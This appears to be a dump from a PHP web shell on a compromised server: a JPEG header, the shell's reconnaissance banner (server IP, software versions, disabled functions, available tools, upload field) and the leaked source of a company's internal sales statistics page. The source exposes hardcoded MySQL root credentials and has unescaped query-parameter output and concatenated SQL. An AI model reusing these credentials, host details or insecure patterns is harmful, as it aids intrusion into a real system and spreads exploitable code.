????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.3 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/sales/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>ASTACUS SALES</title>
<link href="table.css" rel="stylesheet" type="text/css">
<style type="text/css">
.rubrik {
font-family: Verdana, Geneva, sans-serif;
text-align: left;
}
.text {
font-family: Verdana, Geneva, sans-serif;
}
.text {
font-size: 14px;
}
#form1 {
}
.bold {
font-weight: bold;
}
.bold {
font-family: Verdana, Geneva, sans-serif;
}
.bold {
font-size: 14px;
}
</style>
<script>
function MM_openBrWindow2(theURL,winName) { //v2.0
window.open(theURL,winName,'status=yes, resizable=yes','width='+screen.width,'height='+screen.height);
}
function MM_openBrWindow2(theURL,winName,extra) { //v2.0
window.open(theURL,winName,extra);
}
</script>
</head>
<?php
$y1 = date("y");
$d = date("W");
if($_GET['week'] < -1){
$y1 = $y1 -1;
$d = 53;
}
$y = "20".$y1;
$d = $d + $_GET['week'];
if($d < 10){
$d = "0".$d;
}
?>
<body>
<h1 class="rubrik">Astacus Sales Statistics
<br />
<span class="rubrik"><br />
<a href="?week=<?php echo($_GET['week']-1);?>"><< Previous week </a> This week (<?php echo($y."-".$d);?>) <a href="?week=<?php echo($_GET['week']+1);?>">Next week >></a></span> <br />
<br />
</h1>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="bold">
<td width="276">Username</td>
<td width="107"> Phone-outs</td>
<td width="109">Phone-ins</td>
<td width="114">Email-outs</td>
<td width="87">Email-in</td>
<td width="158">Booked meetings</td>
<td width="129">Web meetings</td>
<td width="92">Meetings</td>
<td width="82">Tenders </td>
<td width="90">Orders</td>
<td width="60">Follow Ups</td>
<td width="60">Met</td>
<td width="130">Entries</td>
</tr>
</table>
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$sql = "SELECT Subject, ToUser FROM CompanyAction where DateStamp = '".$y.$d."' order by ToUser";
$result = mysql_query($sql);
$Users = array("","","","","","","","","","","","","","","","","","");
$Data = array(array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0));
$i = -1;
$arrlength = count($Users);
while ($row = mysql_fetch_assoc($result)){
if(!in_array($row['ToUser'],$Users)){
$i++;
$Users[$i] = $row['ToUser'];
}
if (strpos($row['Subject'], 'Phone-out to') !== false) {
$Data[$i][0] +=1;
}
if (strpos($row['Subject'], 'Phone-in to') !== false) {
$Data[$i][1] +=1;
}
if (strpos($row['Subject'], 'E-mail-in to') !== false) {
$Data[$i][2] +=1;
}
if (strpos($row['Subject'], 'E-mail-out to') !== false) {
$Data[$i][3] +=1;
}
if (strpos($row['Subject'], 'Web meeting to') !== false) {
$Data[$i][4] +=1;
}
if (strpos($row['Subject'], 'Meeting to') !== false) {
$Data[$i][5] +=1;
}
if (strpos($row['Subject'], 'Tender to') !== false) {
$Data[$i][8] +=1;
}
if (strpos($row['Subject'], 'Order to') !== false) {
$Data[$i][6] +=1;
}
if (strpos($row['Subject'], 'Follow up to') !== false) {
$Data[$i][9] +=1;
}
if (strpos($row['Subject'], 'Next Action: Meeting') !== false) {
$Data[$i][10] +=1;
}
if (strpos($row['Subject'], 'Next Action: Web') !== false) {
$Data[$i][10] +=1;
}
if (strpos($row['Subject'], 'Met') !== false) {
$Data[$i][11] +=1;
}
$Data[$i][7] +=1;
}
for ($i = 0; $i<$arrlength;$i++){
if($Users[$i] != ""){
$ToUser = $Users[$i];
$Users[$i] = substr($Users[$i],0,strpos($Users[$i],"@"));
$Users[$i] = str_replace("."," ",$Users[$i]);
$Users[$i] =ucwords( $Users[$i]);
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="text">
<td width="275"><?php echo($Users[$i]);?></td>
<td width="108"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Phone-out','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][0]);?></a></td>
<td width="109"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Phone-in','win','scrollbars=yes,width=900,height=600');"> <?php echo($Data[$i][1]);?></a></td>
<td width="116"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=E-mail-out','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][3]);?></a></td>
<td width="86"> <a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=E-mail-in','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][2]);?></a></td>
<td width="158"><?php echo($Data[$i][10]);?></td>
<td width="127"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Web meeting','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][4]);?></a></td>
<td width="91"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Meeting','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][5]);?></a></td>
<td width="83"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Tender','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][8]);?></a></td>
<td width="91"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Order','win','scrollbars=yes,width=900,height=600');"> <?php echo($Data[$i][6]);?></a></td>
<td width="60"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Follow Up','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][9]);?></a></td>
<td width="60"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Met to','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][11]);?></a></td>
<td width="130"><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Entries','win','scrollbars=yes,width=900,height=600');"><?php echo($Data[$i][7]);?></a><a href="#" onclick="MM_openBrWindow2('show.php?user=<?php echo($ToUser);?>&week=<?php echo($_GET['week']);?>&type=Entries','win','scrollbars=yes,width=900,height=600');"></a></td>
</tr>
</table>
<?php } }?>
<br />
<br />
<h1 class="rubrik">Total</h1>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="bold">
<td width="276">Username</td>
<td width="107">Phone-outs</td>
<td width="109">Phone-ins</td>
<td width="114">Email-outs</td>
<td width="87">Email-in</td>
<td width="158">Booked meetings</td>
<td width="129">Web meetings</td>
<td width="92">Meetings</td>
<td width="82">Tenders </td>
<td width="90">Orders</td>
<td width="60">Follow Ups</td>
<td width="60">Met</td>
<td width="130">Entries</td>
</tr>
</table>
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$sql = "SELECT Subject, ToUser FROM CompanyAction order by ToUser";
$result = mysql_query($sql);
$Users = array("","","","","","","","","","","","","","","","","","");
$Data = array(array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0),array(0,0,0,0,0,0,0,0,0,0,0,0));
$i = -1;
$arrlength = count($Users);
while ($row = mysql_fetch_assoc($result)){
if(!in_array($row['ToUser'],$Users)){
$i++;
$Users[$i] = $row['ToUser'];
$sql = "SELECT SUM(orders) as orders FROM Sales where username = '". $row['ToUser']."' group by username";
$result1 = mysql_query($sql);
while ($row1 = mysql_fetch_assoc($result1)){
$Data[$i][6] = $row1['orders'];
}
}
if (strpos($row['Subject'], 'Phone-out to') !== false) {
$Data[$i][0] +=1;
}
if (strpos($row['Subject'], 'Phone-in to') !== false) {
$Data[$i][1] +=1;
}
if (strpos($row['Subject'], 'E-mail-in to') !== false) {
$Data[$i][2] +=1;
}
if (strpos($row['Subject'], 'E-mail-out to') !== false) {
$Data[$i][3] +=1;
}
if (strpos($row['Subject'], 'Web meeting to') !== false) {
$Data[$i][4] +=1;
}
if (strpos($row['Subject'], 'Meeting to') !== false) {
$Data[$i][5] +=1;
}
if (strpos($row['Subject'], 'Tender to') !== false) {
$Data[$i][8] +=1;
}
if (strpos($row['Subject'], 'Follow up') !== false) {
$Data[$i][9] +=1;
}
if (strpos($row['Subject'], 'Order to') !== false) {
$Data[$i][6] +=1;
}
if (strpos($row['Subject'], 'Next Action: Meeting') !== false) {
$Data[$i][10] +=1;
}
if (strpos($row['Subject'], 'Next Action: Web') !== false) {
$Data[$i][10] +=1;
}
if (strpos($row['Subject'], 'Met') !== false) {
$Data[$i][11] +=1;
}
$Data[$i][7] +=1;
}
for ($i = 0; $i<$arrlength;$i++){
if($Users[$i] != ""){
$Users[$i] = substr($Users[$i],0,strpos($Users[$i],"@"));
$Users[$i] = str_replace("."," ",$Users[$i]);
$Users[$i] =ucwords( $Users[$i]);
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="text">
<td width="275"><?php echo($Users[$i]);?></td>
<td width="108"><?php echo($Data[$i][0]);?></td>
<td width="109"><?php echo($Data[$i][1]);?></td>
<td width="116"><?php echo($Data[$i][3]);?></td>
<td width="86"><?php echo($Data[$i][2]);?></td>
<td width="158"><?php echo($Data[$i][10]);?></td>
<td width="127"><?php echo($Data[$i][4]);?></td>
<td width="91"><?php echo($Data[$i][5]);?></td>
<td width="83"><?php echo($Data[$i][8]);?></td>
<td width="91"><?php echo($Data[$i][6]);?></td>
<td width="60"><?php echo($Data[$i][9]);?></td>
<td width="60"><?php echo($Data[$i][11]);?></td>
<td width="130"><?php echo($Data[$i][7]);?></td>
</tr>
</table>
<?php } }?>
<br />
<p> </p>
</body>
</html>